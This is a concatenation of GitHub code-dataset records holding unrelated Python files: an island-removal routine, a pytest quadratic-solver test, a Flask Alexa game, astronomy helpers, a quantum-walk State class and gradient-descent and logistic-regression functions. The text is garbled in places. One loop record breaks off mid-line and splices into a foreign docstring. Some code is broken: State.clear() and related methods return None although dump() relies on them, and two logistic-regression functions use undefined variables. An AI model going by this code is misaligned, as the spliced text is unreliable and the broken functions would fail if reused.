10\n\n** note that a 1 touching another 1 at an edge is NOT part of an island\n\"\"\"\nimport time\n\n\ndef removeIslands(matrix):\n # Write your code here.\n # these are \"connected\" 1s I need to find\n # add while loop to if 1\n\n def _positions(row, col):\n up = [row-1, col]\n down = [row+1, col]\n left = [row, col-1]\n right = [row, col+1]\n return [up, down, left, right]\n\n def _is_edge(r, c):\n if r == 0 or r == len(matrix) - 1: # col\n return True\n if c == 0 or c == len(matrix[0]) - 1: # row\n return True\n return False\n\n def _inbounds(r, c):\n return False if (r < 0) or (r > len(matrix) - 1) or (c < 0) or (c > len(matrix[0]) - 1) else True\n\n def _find_ones(row, col, arr):\n pos = _positions(row, col)\n # print(pos, arr)\n # time.sleep(.2)\n for r, c in pos:\n if _inbounds(r, c):\n if matrix[r][c] == 1:\n if [r, c] in arr:\n pass\n elif _is_edge(r, c):\n arr.append([r, c])\n else:\n arr.append([r, c])\n _find_ones(r, c, arr)\n return arr\n\n def _island(row, col):\n # do\n ones = [[row, col]] + _find_ones(row, col, [])\n # mark as X if edged, 0 if island\n print(ones)\n is_island = True\n for r, c in ones:\n if _is_edge(r, c):\n is_island = False\n break\n if not is_island:\n for r, c in ones:\n matrix[r][c] = \"X\"\n else:\n for r, c in ones:\n matrix[r][c] = 0\n\n for row in range(1, len(matrix)):\n for col in range(1, len(matrix[row])):\n if matrix[row][col] == 1:\n print(\"found starting one\", row, col)\n _island(row, col)\n\n # remove X\n for row in range(len(matrix)):\n for col in range(len(matrix[row])):\n if matrix[row][col] == \"X\":\n matrix[row][col] = 1\n\n return matrix\n\n\ndef make_matrix():\n m = [[0 for y in range(5)] for x in range(5)]\n m[0][1] = 1\n m[1][1] = 1\n m[3][2] = 1\n m[1][2] = 1\n m[3][1] = 1\n m[3][4] = 1\n return m\n\n\nm = make_matrix()\n\nm = [\n [1, 0, 0, 0, 0, 0],\n [0, 1, 0, 1, 1, 1],\n [0, 0, 1, 0, 1, 0],\n [1, 1, 0, 0, 1, 0],\n [1, 0, 1, 1, 0, 0],\n [1, 0, 0, 0, 0, 1]\n]\n\nnm = removeIslands(m)\nfor i in nm:\n print(i)\n","repo_name":"Hosjev/Algo","sub_path":"Algo/Medium/remove_islands.py","file_name":"remove_islands.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"3972794506","text":"import w3_Bhaskara\nimport pytest\n\nclass TestBhaskara:\n \n @pytest.fixture\n def bhaskara(self):\n return w3_Bhaskara.Bhaskara()\n \n @pytest.mark.parametrize('a, b, c, esperado', [\n (1, 0, 0, (1, 0)),\n (10, 10, 10, (0)),\n (1, -5, 6, (2, 3, 2)),\n (10, 20, 10, (1, -1)) \n ])\n \n def test_bhaskara(self, bhaskara, a, b, c, esperado):\n assert bhaskara.calcula_raizes(a, b, c) == esperado\n \n '''\n def testa_uma_raiz(self, b):\n assert b.calcula_raizes(1, 0, 0) == (1, 0)\n \n def testa_duas_raizes(self, b):\n assert b.calcula_raizes(1,-5,6) == (2, 3, 2)\n \n def testa_zero_raizes(self, b):\n assert b.calcula_raizes(10,10,10) == (0)\n \n def testa_raiz_negativa(self, b):\n assert b.calcula_raizes(10,20,10) == (1, -1)\n '''","repo_name":"emanuelgustavo/pythonscripts","sub_path":"Introdução a Ciencia da Computação com Python - PII/w3_Pytest_Bhaskara.py","file_name":"w3_Pytest_Bhaskara.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72959699287","text":"__author__ = \"Alejo Herrera\"\n\n# Variables auxiliares\n\ncont: int = 0\naux = \"\"\npares = 0\nimpares = 0\nsuma = 0\ncero = bool\nserie = bool\n#Ciclo\n\nwhile cont>=0:\n num = float(input(\"Ingrese numero: \"))\n if 50>> from viva_vdm.core.iedb.mhci.constants import MhcISupertypes, PredictionMethods\n >>> from viva_vdm.core.iedb.mhci.factory import MhcIPredictionFactory\n >>> prediction_supertype = MhcISupertypes.A1\n >>> predictor = MhcIPredictionFactory(supertypes=prediction_supertype, method=PredictionMethods.NETMHCPAN)\n >>> results = predictor.predict(\"MDSNTVSSFQDI\")\n \"\"\"\n\n kwargs = locals()\n del kwargs['cls']\n\n if method == PredictionMethods.NETMHCPAN:\n return MhcINetMhcPan(**kwargs)\n elif method == PredictionMethods.NETMHCPAN_EL:\n return MhcINetMhcPanEL(**kwargs)\n elif method == PredictionMethods.PICKPOCKET:\n return MhcIPickpocket(**kwargs)\n elif method == PredictionMethods.MHCFLURRY:\n return MhcFlurry(**kwargs)\n\n raise NotImplementedError(f'The method {method} is not implemented')\n","repo_name":"ShanWeera/viva_vita","sub_path":"viva_vdm/core/iedb/mhci/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42062460142","text":"import logging\nfrom flask import Flask, render_template\nfrom flask_ask import Ask, statement, question, session\nimport random\n\napp = Flask(__name__)\nask = Ask(app, \"/\")\nlogging.getLogger(\"flask_ask\").setLevel(logging.DEBUG)\n\n@ask.launch\ndef welcome():\n animals = ['cat','dog','cammel','bird','horse']\n session.attributes['not_machted'] = animals\n answer = list(animals)\n answer += answer\n random.shuffle(answer)\n session.attributes['answer'] = answer\n session.attributes['number_one'] = None\n msg = render_template('welcome')\n return question(msg)\n\n@ask.intent(\"NumberIntent\", convert={'number':int})\ndef next(number):\n answer = session.attributes['answer']\n number_one = session.attributes['number_one']\n if number_one is None:\n session.attributes['number_one'] = number\n msg = render_template('next', number = number, animal = answer[number])\n else:\n if number == number_one:\n msg = render_template('same')\n else:\n session.attributes['number_one'] = None\n print(answer)\n if answer[number] == answer[number_one]:\n if answer[number] in session.attributes['not_machted']:\n session.attributes['not_machted'].remove(answer[number])\n if len(session.attributes['not_machted']) == 0:\n msg = render_template('end', number = number, animal = answer[number])\n return statement(msg)\n else:\n msg = render_template('win', number = number, animal = answer[number])\n else:\n msg = render_template('lose', number = number, animal = answer[number])\n return question(msg)\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"horefice/alexa_matching_game","sub_path":"matching_game.py","file_name":"matching_game.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35598503116","text":"'''\nCreated on Feb 23, 2016\n\n@author: sinandeger\n'''\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport random\nimport pandas as pd\n\n\ndef masscomp_clust(BV_zclust, LVbest_zclust):\n h = 0.7\n lgmlv = -0.734 + (1.404 * (BV_zclust + 0.084))\n\n Mstar_zclust = np.power(10, lgmlv) * LVbest_zclust * 1e10 / np.power(h, 2)\n\n K = np.log10(Mstar_zclust)\n\n return K\n\n\n\"\"\"masscomp_clust calculates the stellar masses for cluster members\"\"\"\n\n\ndef masscomp_field(BV_ZS, LVBEST_ZS, BV_ZP, LVBEST_ZP):\n h = 0.7\n\n if BV_ZS != -999:\n\n lgmlv = -0.734 + (1.404 * (BV_ZS + 0.084))\n Mstar_zclust = np.power(10, lgmlv) * LVBEST_ZS * 1e10 / np.power(h, 2)\n\n K = np.log10(Mstar_zclust)\n\n else:\n\n lgmlv = -0.734 + (1.404 * (BV_ZP + 0.084))\n\n Mstar_zclust = np.power(10, lgmlv) * LVBEST_ZP * 1e10 / np.power(h, 2)\n\n K = np.log10(Mstar_zclust)\n\n return K\n\n\n\"\"\"masscomp_field calculates the stellar masses for cluster members\"\"\"\n\n\ndef pickstar(STARFLAG, FLUX_RADIUS, MAG_AUTO):\n\n sizecut = 0.7 + 3 * (0.04)\n\n if MAG_AUTO < 22:\n if STARFLAG == 1 or FLUX_RADIUS <= sizecut:\n return 1\n\n if MAG_AUTO > 22:\n if FLUX_RADIUS < sizecut:\n return 1\n\n\n\"\"\"pickstar will choose stars accordingly and return 1. If you want to exclude stars, have pickstar != 1\"\"\"\n\n\ndef PhotMember(WMIN, SPECMEMB, MEMBFLAG):\n\n if WMIN > 0.3:\n if SPECMEMB == 1 | (SPECMEMB != 0 & MEMBFLAG == 1):\n return 1\n\n\n\"\"\"PhotMember will pick photometric members, require PhotMember = 1 to pick\"\"\"\n\n\"\"\"Use PhotMember_pandas with pandas calls\"\"\"\n\n\ndef PhotMember_pandas(SPECMEMB, MEMBFLAG):\n return np.where((SPECMEMB == 1) | ((SPECMEMB != 0) & (MEMBFLAG == 1)))\n\n\ndef eliminate_star_pandas(STARFLAG, FLUX_RADIUS, MAG_AUTO):\n\n sizecut = 0.7 + 3 * 0.04\n\n return np.where(\n ((MAG_AUTO < 22) & ((STARFLAG == 0) | (FLUX_RADIUS >= sizecut))) | ((MAG_AUTO >= 22) & (FLUX_RADIUS > sizecut)))\n\n\ndef PhotField(WMIN, SPECMEMB, MEMBFLAG):\n if WMIN > 0.3:\n\n if SPECMEMB == 0 | (SPECMEMB != 1 & MEMBFLAG == 0):\n return 1\n\n\n\"\"\"PhotField will pick field objects, require PhotField == 1 to pick\"\"\"\n\ndef R200_indegrees(R200_inMPC, scale_at_z_in_kpc_arcsec):\n\n R200_inarcsec = (1000.0 * R200_inMPC) / (scale_at_z_in_kpc_arcsec)\n R200_in_degrees = R200_inarcsec / 3600.0\n\n return R200_in_degrees\n\n\n\"\"\"Careful with the units for the function R200_indegrees. Needs R200 in MPC, scale at kpc/\" to work correctly\"\"\"\n\n\ndef bootstrap_2_arrays(A1, A2, A3, iter_num):\n array_ind = len(A1)\n\n B1 = []\n B2 = []\n B3 = []\n\n for j in range(iter_num):\n Rand_int = random.randint(0, array_ind - 1)\n\n B1.append(A1[Rand_int])\n B2.append(A2[Rand_int])\n B3.append(A3[Rand_int])\n\n return B1, B2, B3\n\n\n\"\"\"bootstrap_GM20 will pick 2 arrays, A1 & A2, and a number of iteration. It will return 2 arrays, with length\"\"\"\n\"\"\"equal to iter_num. Their elements are random picks of the elements of A1 and A2\"\"\"\n\"\"\"Update: A3 will pick index numbers and the function will also return an array of index numbers corresponding\"\"\"\n\"\"\"to the G-M20 values\"\"\"\n\n\ndef bootstrap_1_array(A, array_len):\n\n #array_ind = len(A)\n\n B = np.zeros(array_len, dtype=int)\n\n for j in range(array_len):\n Rand_int = random.randint(0, array_len - 1)\n\n B[j] = A[Rand_int]\n\n return B\n\n\n\"\"\" If below_line == 1, point is below the line \"\"\"\n\n\"\"\"Vectorized implementation of above line\"\"\"\n\ndef pandas_above_line(X_coord, Y_coord, Y_intercept, line_slope):\n\n y_one = Y_intercept\n y_two = 1.5\n\n x_one = (y_one-Y_intercept)/line_slope\n x_two = (y_two-Y_intercept)/line_slope\n\n point_val = (X_coord - x_one)*(y_two - y_one) - (Y_coord - y_one)*(x_two - x_one)\n\n return np.where(point_val > 0.0)\n\n\"\"\" If pandas_above_line = 1, point is above the line\"\"\"\n\n\"\"\"Use the below function to check if a single entry is above the line\"\"\"\n\ndef pandas_above_line_postage(X_coord, Y_coord, Y_intercept, line_slope):\n\n y_one = Y_intercept\n y_two = 1.5\n\n x_one = (y_one-Y_intercept)/line_slope\n x_two = (y_two-Y_intercept)/line_slope\n\n point_val = (X_coord - x_one)*(y_two - y_one) - (Y_coord - y_one)*(x_two - x_one)\n\n if point_val > 0.0:\n\n return 1\n\n else:\n\n return 0\n\n\"\"\"##########################\"\"\"\n\n\ndef pandas_below_line(X_coord, Y_coord, Y_intercept, line_slope):\n\n y_one = Y_intercept\n y_two = 1.5\n\n x_one = (y_one-Y_intercept)/line_slope\n x_two = (y_two-Y_intercept)/line_slope\n\n point_val = (X_coord - x_one)*(y_two - y_one) - (Y_coord - y_one)*(x_two - x_one)\n\n return np.where(point_val < 0.0)\n\n\"\"\" If pandas_below_line = 1, point is above the line\"\"\"\n\n\"\"\" If below_line == 1, point is below the line \"\"\"\n\n\ndef conf_interval(A1, conf_limit):\n\n A2 = sorted(A1)\n A3 = []\n length = len(A2)\n\n for j in range(int(((100.0 - conf_limit) / 200.0) * length),\n int(length - (((100.0 - conf_limit) / 200.0) * length))):\n A3.append(A2[j])\n\n return A3, min(A3), max(A3)\n\n\n\"\"\" Below are the functions specific for use with pandas. They are written to work with vectors instead of array elements \"\"\"\n\n\ndef pandas_pick_spec_field(membflag, cluster_z, galaxy_z, qual):\n\n return np.where(\n (membflag == 0) & (0.4 < galaxy_z) & (galaxy_z < 0.8) & (qual == -999) & (galaxy_z < cluster_z + 0.2) &\n (galaxy_z > cluster_z - 0.2))\n\n\ndef PhotField_pandas(SPECMEMB, MEMBFLAG, cluster_z, galaxy_spec_z, galaxy_phot_z, qual):\n\n return np.where(((SPECMEMB == 0) | ((SPECMEMB != 1) & (MEMBFLAG == 0)))\n & (((galaxy_spec_z != -999) & (galaxy_spec_z < cluster_z + 0.2) & (galaxy_spec_z > cluster_z - 0.2) & (0.4 < galaxy_spec_z) & (galaxy_spec_z < 0.8) & (qual == -999))\n | ((galaxy_spec_z == -999) & (galaxy_phot_z < 0.8) & (galaxy_phot_z > 0.5))))\n\n# def PhotField_pandas(SPECMEMB, MEMBFLAG, cluster_z, galaxy_spec_z, galaxy_phot_z):\n#\n# return np.where(((SPECMEMB == 0) | ((SPECMEMB != 1) & (MEMBFLAG == 0)))\n# & (((galaxy_spec_z != -999) & (galaxy_spec_z < cluster_z + 0.1) & (galaxy_spec_z > cluster_z - 0.1))\n# | ((galaxy_spec_z == -999) & (galaxy_phot_z < cluster_z + 0.1) & (galaxy_phot_z > cluster_z - 0.1))))\n\n\n#def pandas_phot_field_stellarmass(BV_ZS, LVBEST_ZS, BV_ZP, LVBEST_ZP):\n\ndef pandas_phot_field_stellarmass(BV_ZP, LVBEST_ZP):\n\n h = 0.7\n lgmlv = -0.734 + (1.404 * (BV_ZP + 0.084))\n\n Mstar_zclust = np.power(10, lgmlv) * LVBEST_ZP * 1e10 / np.power(h, 2)\n\n K = np.log10(Mstar_zclust)\n\n return K\n\n\ndef pandas_spec_field_stellarmass(BV_ZS, LVBEST_ZS):\n\n h = 0.7\n lgmlv = -0.734 + (1.404 * (BV_ZS + 0.084))\n\n Mstar_zclust = np.power(10, lgmlv) * LVBEST_ZS * 1e10 / np.power(h, 2)\n\n K = np.log10(Mstar_zclust)\n\n return K\n\n\"\"\"Create region files from pandas dataframes. Use \"text={...}\" to add text to selected objects\"\"\"\n\ndef pandas_region_file(RA, DEC, arcsec, name):\n\n reg_file = open(name + '.reg', 'w')\n\n print >> reg_file, '# Region file format: DS9 version 4.1\\n',\\\n 'global color=green dashlist=8 3 width=1 font=\"helvetica 10 normal\" select=1 highlite=1 dash=0 fixed=0 edit=1 move=1 delete=1 include=1 source=1\\n',\\\n 'fk5\\n'\n\n for k in range(len(RA)):\n\n print >>reg_file, 'circle(', RA.iloc[k], ',', DEC.iloc[k], ',', str(arcsec) + '\"', ')'\n\n reg_file.close()\n","repo_name":"sinandeger/EDisCS-HST-Analysis","sub_path":"mergfractools.py","file_name":"mergfractools.py","file_ext":"py","file_size_in_byte":7424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41980315522","text":"from pyspark import SparkContext, StorageLevel\n\nfrom sparkquantum import conf, constants, util\nfrom sparkquantum.dtqw.mesh.mesh import is_mesh\nfrom sparkquantum.dtqw.particle import is_particle\nfrom sparkquantum.math import util as mathutil\nfrom sparkquantum.math.matrix import Matrix, is_matrix\n\n__all__ = ['State', 'is_state']\n\n\nclass State(Matrix):\n \"\"\"Class for the system state.\"\"\"\n\n def __init__(self, rdd, shape, mesh, particles,\n dtype=complex, coord_format=constants.MatrixCoordinateDefault,\n repr_format=constants.StateRepresentationFormatCoinPosition, nelem=None):\n \"\"\"Build a state object.\n\n Parameters\n ----------\n rdd : :py:class:`pyspark.RDD`\n The base RDD of this object.\n shape : tuple\n The shape of this object. Must be 2-dimensional.\n mesh : :py:class:`sparkquantum.dtqw.mesh.mesh.Mesh`\n The mesh where the particles are walking on.\n particles : tuple of :py:class:`sparkquantum.dtqw.particle.Particle`\n The particles present in the walk.\n dtype : type, optional\n The Python type of all values in this object. Default value is complex.\n coord_format : int, optional\n The coordinate format of this object. Default value is :py:const:`sparkquantum.constants.MatrixCoordinateDefault`.\n repr_format : int, optional\n Indicate how the quantum system is represented.\n Default value is :py:const:`sparkquantum.constants.StateRepresentationFormatCoinPosition`.\n nelem : int, optional\n The expected (or definitive) number of elements. This helps to find a\n better number of partitions when (re)partitioning the RDD. Default value is None.\n\n \"\"\"\n if not is_mesh(mesh):\n raise TypeError(\n \"'Mesh' instance expected, not '{}'\".format(type(mesh)))\n\n if len(particles) < 1:\n raise ValueError(\"invalid number of particles\")\n\n for p in particles:\n if not is_particle(p):\n raise TypeError(\n \"'Particle' instance expected, not '{}'\".format(type(p)))\n\n super().__init__(rdd, shape,\n dtype=dtype, coord_format=coord_format, nelem=nelem)\n\n self._mesh = mesh\n self._particles = particles\n\n self._repr_format = repr_format\n\n @ property\n def mesh(self):\n \"\"\":py:class:`sparkquantum.dtqw.mesh.mesh.Mesh`\"\"\"\n return self._mesh\n\n @ property\n def particles(self):\n \"\"\"tuple\"\"\"\n return self._particles\n\n @ property\n def repr_format(self):\n \"\"\"int\"\"\"\n return self._repr_format\n\n def __str__(self):\n if self._particles == 1:\n particles = '1 particle'\n else:\n particles = '{} particles'.format(self._particles)\n\n return 'State with shape {} of {} over a {}'.format(\n self._shape, particles, self._mesh)\n\n def dump(self, mode, glue=' ', path=None, codec=None,\n filename=None, format=constants.StateDumpingFormatIndex):\n \"\"\"Dump this object's RDD to disk in a unique file or in many part-* files.\n\n Notes\n -----\n Depending on the chosen dumping mode, this method calls the :py:func:`pyspark.RDD.collect` method.\n This is not suitable for large working sets, as all data may not fit into driver's main memory.\n\n Parameters\n ----------\n mode : int\n Storage mode used to dump this state.\n glue : str, optional\n The glue string that connects each component of each element in the RDD.\n Default value is ' '.\n codec : str, optional\n Codec name used to compress the dumped data. Default value is None.\n filename : str, optional\n The full path with file name used when the dumping mode is in a single file.\n Default value is None.\n format : int, optional\n Printing format used to dump this state. Default value is :py:const:`sparkquantum.constants.StateDumpingFormatIndex`.\n\n Raises\n ------\n NotImplementedError\n If the dimension of the mesh is not valid.\n\n ValueError\n If this state's coordinate format is not :py:const:`sparkquantum.constants.MatrixCoordinateDefault` or\n if the chosen dumping mode or dumping format is not valid.\n\n \"\"\"\n if self._coord_format != constants.MatrixCoordinateDefault:\n self._logger.error(\"invalid coordinate format\")\n raise ValueError(\"invalid coordinate format\")\n\n rdd = self.clear().data\n\n if format == constants.StateDumpingFormatIndex:\n rdd = rdd.map(\n lambda m: glue.join((str(m[0]), str(m[1]), str(m[2])))\n )\n elif format == constants.StateDumpingFormatCoordinate:\n repr_format = self._repr_format\n\n ndim = self._mesh.ndim\n csubspace = 2\n cspace = csubspace ** ndim\n psubspace = self._mesh.shape\n pspace = self._mesh.sites\n particles = self._particles\n cpspace = cspace * pspace\n\n if ndim == 1:\n mesh_offset = min(self._mesh.axis()[0])\n\n if repr_format == constants.StateRepresentationFormatCoinPosition:\n def __map(m):\n ix = []\n\n for p in range(particles):\n # Coin\n ix.append(\n str(int(m[0] / (cpspace ** (particles - 1 - p) * psubspace[0])) % csubspace))\n # Position\n ix.append(\n str(int(m[0] / (cpspace ** (particles - 1 - p))) % psubspace[0] + mesh_offset))\n\n ix.append(str(m[2]))\n\n return glue.join(ix)\n elif repr_format == constants.StateRepresentationFormatPositionCoin:\n def __map(m):\n xi = []\n\n for p in range(particles):\n # Position\n xi.append(str(int(\n m[0] / (cpspace ** (particles - 1 - p) * csubspace)) % psubspace[0] + mesh_offset))\n # Coin\n xi.append(\n str(int(m[0] / (cpspace ** (particles - 1 - p))) % csubspace))\n\n xi.append(str(m[2]))\n\n return glue.join(xi)\n else:\n self._logger.error(\"invalid representation format\")\n raise ValueError(\"invalid representation format\")\n elif ndim == 2:\n axis = self._mesh.axis()\n mesh_offset = (min(axis[0]), min(axis[1]))\n\n if repr_format == constants.StateRepresentationFormatCoinPosition:\n def __map(m):\n ijxy = []\n\n for p in range(particles):\n # Coin\n ijxy.append(str(int(\n m[0] / (cpspace ** (particles - 1 - p) * csubspace * psubspace[0] * psubspace[1])) % csubspace))\n ijxy.append(str(int(\n m[0] / (cpspace ** (particles - 1 - p) * psubspace[0] * psubspace[1])) % csubspace))\n # Position\n ijxy.append(str(int(\n m[0] / (cpspace ** (particles - 1 - p) * psubspace[1])) % psubspace[0] + mesh_offset[0]))\n ijxy.append(\n str(int(m[0] / (cpspace ** (particles - 1 - p))) % psubspace[1] + mesh_offset[1]))\n\n ijxy.append(str(m[2]))\n\n return glue.join(ijxy)\n elif repr_format == constants.StateRepresentationFormatPositionCoin:\n def __map(m):\n xyij = []\n\n for p in range(particles):\n # Position\n xyij.append(str(int(\n m[0] / (cpspace ** (particles - 1 - p) * cspace * psubspace[1])) % psubspace[0] + mesh_offset[0]))\n xyij.append(str(int(\n m[0] / (cpspace ** (particles - 1 - p) * cspace)) % psubspace[1] + mesh_offset[1]))\n # Coin\n xyij.append(str(int(\n m[0] / (cpspace ** (particles - 1 - p) * csubspace)) % csubspace))\n xyij.append(\n str(int(m[0] / (cpspace ** (particles - 1 - p))) % csubspace))\n\n xyij.append(str(m[2]))\n\n return glue.join(xyij)\n else:\n self._logger.error(\"invalid representation format\")\n raise ValueError(\"invalid representation format\")\n else:\n self._logger.error(\"mesh dimension not implemented\")\n raise NotImplementedError(\"mesh dimension not implemented\")\n\n rdd = rdd.map(__map)\n else:\n self._logger.error(\"invalid dumping format\")\n raise ValueError(\"invalid dumping format\")\n\n if mode == constants.DumpingModeUniqueFile:\n data = rdd.collect()\n\n with open(filename, 'a') as f:\n for d in data:\n f.write(d + \"\\n\")\n elif mode == constants.DumpingModePartFiles:\n rdd.saveAsTextFile(path, codec)\n else:\n self._logger.error(\"invalid dumping mode\")\n raise ValueError(\"invalid dumping mode\")\n\n def to_coordinate(self, coord_format):\n \"\"\"Change the coordinate format of this object.\n\n Notes\n -----\n Due to the immutability of RDD, a new RDD instance is created\n in the desired coordinate format. Thus, a new instance of this class\n is returned with this RDD.\n\n Parameters\n ----------\n coord_format : int\n The new coordinate format of this object.\n\n Returns\n -------\n :py:class:`sparkquantum.dtqw.state.State`\n A new state object with the RDD in the desired coordinate format.\n\n \"\"\"\n return State.from_matrix(super().to_coordinate(coord_format),\n self._mesh, self._particles, self._repr_format)\n\n def transpose(self):\n \"\"\"Transpose this state.\n\n Returns\n -------\n :py:class:`sparkquantum.dtqw.state.State`\n The resulting state.\n\n \"\"\"\n return State.from_matrix(super().transpose(),\n self._mesh, self._particles, self._repr_format)\n\n def kron(self, other):\n \"\"\"Perform a tensor (Kronecker) product with another system state.\n\n Parameters\n ----------\n other : :py:class:`sparkquantum.dtqw.state.State`\n The other system state.\n\n Returns\n -------\n :py:class:`sparkquantum.dtqw.state.State`\n The resulting state.\n\n Raises\n ------\n TypeError\n If `other` is not a :py:class:`sparkquantum.dtqw.state.State`.\n\n \"\"\"\n if not is_state(other):\n self._logger.error(\n \"'State' instance expected, not '{}'\".format(type(other)))\n raise TypeError(\n \"'State' instance expected, not '{}'\".format(type(other)))\n\n return State.from_matrix(super().kron(other),\n self._mesh, self._particles + other.particles, self._repr_format)\n\n def clear(self):\n return None\n\n def copy(self):\n return None\n\n def sum(self, other):\n return None\n\n def subtract(self, other):\n return None\n\n def multiply(self, other):\n return None\n\n def divide(self, other):\n return None\n\n def dot_product(self, other):\n return None\n\n @staticmethod\n def from_matrix(matrix, mesh, particles, repr_format):\n \"\"\"Build a state from a matrix object.\n\n Parameters\n ----------\n matrix : :py:class:`sparkquantum.math.matrix.Matrix`\n The matrix to serve as a base.\n mesh : :py:class:`sparkquantum.dtqw.mesh.mesh.Mesh`\n The mesh where the particles are walking on.\n particles : tuple of :py:class:`sparkquantum.dtqw.particle.Particle`\n The particles present in the walk.\n repr_format : int, optional\n Indicate how the quantum system is represented.\n Default value is :py:const:`sparkquantum.constants.StateRepresentationFormatCoinPosition`.\n\n Returns\n -------\n :py:class:`sparkquantum.dtqw.state.State`\n The new state.\n\n Raises\n ------\n TypeError\n If `other` is not a :py:class:`sparkquantum.math.matrix.Matrix`.\n\n \"\"\"\n if not is_matrix(matrix):\n raise TypeError(\n \"'Matrix' instance expected, not '{}'\".format(type(matrix)))\n\n return State(matrix.data, matrix.shape, mesh, particles,\n dtype=matrix.dtype, coord_format=matrix.coord_format, repr_format=repr_format, nelem=matrix.nelem)\n\n\ndef is_state(obj):\n \"\"\"Check whether argument is a :py:class:`sparkquantum.dtqw.state.State` object.\n\n Parameters\n ----------\n obj\n Any Python object.\n\n Returns\n -------\n bool\n True if argument is a :py:class:`sparkquantum.dtqw.state.State` object, False otherwise.\n\n \"\"\"\n return isinstance(obj, State)\n","repo_name":"alfabr90/sparkquantum","sub_path":"sparkquantum/dtqw/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":13813,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"20563928858","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Function used to compute the loss.\"\"\"\nimport numpy as np\nfrom numpy.linalg import *\nfrom helpers import *\n\n\n\ndef compute_loss(y, tx, w):\n \"\"\"Calculate the loss using MSE.\"\"\"\n e = y - tx.dot(w)\n N = tx.shape[0]\n et = np.transpose(e)\n L = et.dot(e)/(2*N)\n return L\n\n\n# Least squares regression using normal equations\ndef least_squares(y, tx):\n \"\"\"calculate the least squares solution.\"\"\"\n gram = (tx.transpose()).dot(tx)\n b = (tx.transpose()).dot(y)\n w = np.linalg.solve(gram,b)\n losses = compute_loss(y,tx,w)\n return losses, w\n\n\n# Linear regression using gradient descent\ndef compute_gradient(y, tx, w):\n \"\"\"Compute the gradient for MSE Loss\"\"\"\n e = y - tx.dot(w)\n N = tx.shape[0]\n grad = -np.transpose(tx).dot(e)/N\n return grad\n\n\ndef least_squares_GD(y, tx, initial_w, max_iters, gamma):\n \"\"\"Gradient descent algorithm.\"\"\"\n # Define parameters to store w and loss\n ws = [initial_w]\n losses = []\n w = initial_w\n for n_iter in range(max_iters):\n gradient = compute_gradient(y, tx, w)\n loss = compute_loss(y, tx, w)\n w = w - (gamma*gradient)\n ws.append(w)\n losses.append(loss)\n \n return losses, ws\n\n# Linear regression using stochastic gradient descent\n\ndef least_squares_SGD(y, tx, initial_w, max_iters, gamma):\n \"Stochastic gradient descent algorithm \"\n \n batch_size = 1\n ws = [initial_w]\n losses = []\n w = initial_w\n for n_iter in range(max_iters):\n for minibatch_y, minibatch_tx in batch_iter(y, tx, batch_size):\n gradient = compute_gradient(minibatch_y,minibatch_tx,w)\n loss = compute_loss(minibatch_y,minibatch_tx,w)\n w = w - (gamma*gradient)\n ws.append(w)\n losses.append(loss)\n \n return losses, ws\n\n\n\"\"\"\n Ridge Regression\n\"\"\"\n\n\ndef ridge_regression(y, tx, lambda_):\n \n I = 2 * tx.shape[0] * lambda_ * np.identity(tx.shape[1])\n txT = np.transpose(tx)\n \n mat1 = txT.dot(tx)+I\n mat2 = txT.dot(y)\n \n w = np.linalg.solve(mat1,mat2)\n loss = compute_loss(y,tx,w)\n \n return loss, w\n\n\n\"\"\"\n Logistic regression\n\"\"\"\n\n\ndef sigmoid(t):\n \"\"\"apply sigmoid function on t.\"\"\"\n aux = np.exp(t)\n return aux/(1+aux)\n\ndef calculate_loss(y, tx, w):\n \"\"\"compute the cost by negative log likelihood.\"\"\"\n return np.sum(np.log(1+np.exp(tx.dot(w))) - np.multiply(y,tx.dot(w)))\n\ndef calculate_gradient(y, tx, w):\n \"\"\"compute the gradient of loss.\"\"\"\n return np.transpose(tx).dot(sigmoid(tx.dot(w))-y)\n\ndef calculate_hessian(y, tx, w):\n \"\"\"return the hessian of the loss function.\"\"\"\n aux = sigmoid(tx.dot(w))\n S = np.multiply(aux,1-aux)\n S = np.eye(S.shape[0])*S\n \n return np.transpose(tx).dot(S).dot(tx)\n\n\ndef logistic_regression(y, tx, initial_w, max_iters, gamma):\n \"\"\" Logistic regression using gradient descent\"\"\"\n \n # init parameters\n threshold = 1e-8\n ws = [initial_w]\n losses = []\n w = initial_w\n \n for iter in range(max_iters):\n loss = calculate_loss(y,tx,w)\n gradient = calculate_gradient(y,tx,w)\n w = w - gamma*gradient\n ws.append(w)\n \n # converge criterion\n losses.append(loss)\n if len(losses) > 1 and np.abs(losses[-1] - losses[-2]) < threshold:\n break\n \n return losses, ws\n\ndef logistic_regression_with_Newton(y, tx, initial_w, max_iters, gamma):\n \"\"\" Logistic regression using gradient descent and Newton method\"\"\"\n \n # init parameters\n threshold = 1e-8\n ws = [initial_w]\n losses = []\n w = initial_w\n \n for iter in range(max_iters):\n loss = calculate_loss(y,tx,w)\n gradient = calculate_gradient(y,tx,w)\n hessian = calculate_hessian(y,tx,w)\n \n w = w - np.linalg.inv(hess).dot(grad)\n ws.append(w)\n\n # converge criterion\n losses.append(loss)\n if len(losses) > 1 and np.abs(losses[-1] - losses[-2]) < threshold:\n break\n \n return losses, ws\n\ndef reg_logistic_regression(y, tx, lambda_, initial_w, max_iters, gamma):\n \"\"\" Penalized logistic regression using gradient descent and Newton method\"\"\"\n \n # init parameters\n threshold = 1e-8\n ws = [initial_w]\n losses = []\n w = initial_w\n \n for iter in range(max_iters):\n loss = calculate_loss(y,tx,w) + lambda_*np.linalg.norm(w)/2\n gradient = calculate_gradient(y,tx,w) + lambda_*w\n hessian = calculate_hessian(y,tx,w) + lambda_*np.eye(w.shape[0])\n \n w = w - np.linalg.inv(hess).dot(grad)\n ws.append(w)\n\n # 